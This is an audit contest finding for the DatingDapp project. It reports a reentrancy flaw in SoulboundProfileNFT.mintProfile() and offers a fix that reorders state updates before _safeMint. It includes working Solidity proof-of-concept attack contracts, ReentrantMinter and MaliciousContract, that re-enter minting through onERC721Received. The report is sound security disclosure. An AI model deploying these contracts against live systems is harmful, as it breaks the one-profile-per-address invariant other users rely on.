DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-02] Reentrancy in `mintProfile()` via `_safeMint` callback allows minting multiple soulbound NFTs per address

Description

mintProfile() calls _safeMint() which triggers onERC721Received on the recipient before profileToToken is updated. A contract re-enters mintProfile() during the callback and mints unlimited tokens, breaking the one-profile-per-address invariant.

Vulnerability Details

// src/SoulboundProfileNFT.sol, line 30-41
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists"); // @> passes on reentry
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // @> callback fires here, profileToToken still 0
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId; // @> written AFTER callback (too late)
}

During onERC721Received, profileToToken[msg.sender] is still 0, so the require check passes again on reentry. Only the outermost call's write persists — inner "ghost" tokens are owned by the attacker but not tracked by profileToToken, so burnProfile() and blockProfile() can never remove them.

The ghost tokens are:

  1. Owned by the attacker (ownerOf returns attacker, balanceOf > 1)

  2. Not tracked by profileToToken (only the last tokenId is recorded)

  3. Not burnable via burnProfile() or blockProfile() (both look up profileToToken)

  4. Permanent violations of the one-profile-per-address invariant

Risk

Likelihood:

  • Any contract address can exploit this by deploying a contract with an onERC721Received hook that re-enters mintProfile(). No special permissions or ETH needed. The attack works on the first call with no setup or timing requirements.

Impact:

  • Breaks the soulbound one-NFT-per-address invariant permanently. Ghost tokens cannot be burned by the admin via blockProfile() since they are not tracked in profileToToken. The attacker creates arbitrarily many profiles with different names and images, undermining the identity verification purpose of soulbound NFTs.

PoC

The test deploys ReentrantMinter, a contract whose onERC721Received hook re-enters mintProfile(). A single call to attack() mints 3 NFTs, but profileToToken only tracks tokenId 1. Tokens 2 and 3 are ghost tokens that the admin cannot burn.

contract ReentrantMinter {
SoulboundProfileNFT public profileNFT;
uint256 public mintCount;
uint256 public maxMints;
constructor(address _profileNFT, uint256 _maxMints) {
profileNFT = SoulboundProfileNFT(_profileNFT);
maxMints = _maxMints;
}
function attack() external {
profileNFT.mintProfile("Attacker", 25, "ipfs://evil");
}
function onERC721Received(address, address, uint256, bytes calldata)
external returns (bytes4)
{
mintCount++;
if (mintCount < maxMints) {
profileNFT.mintProfile(
string(abi.encodePacked("Ghost", mintCount)), 25, "ipfs://ghost"
);
}
return this.onERC721Received.selector;
}
}
function testExploit_ReentrancyMultipleNFTs() public {
ReentrantMinter attacker = new ReentrantMinter(address(profileNFT), 3);
attacker.attack();
assertEq(profileNFT.balanceOf(address(attacker)), 3); // 3 NFTs minted
assertEq(profileNFT.profileToToken(address(attacker)), 1); // only tracks tokenId 1
// Ghost tokens 2 and 3 exist but can't be burned by admin
}

Recommendations

Move state updates before _safeMint() to follow the Checks-Effects-Interactions pattern. By setting profileToToken before the external call, any reentrant call to mintProfile() will hit the require and revert because the mapping is already nonzero.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+ _profiles[tokenId] = Profile(name, age, profileImage);
+ profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 16 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!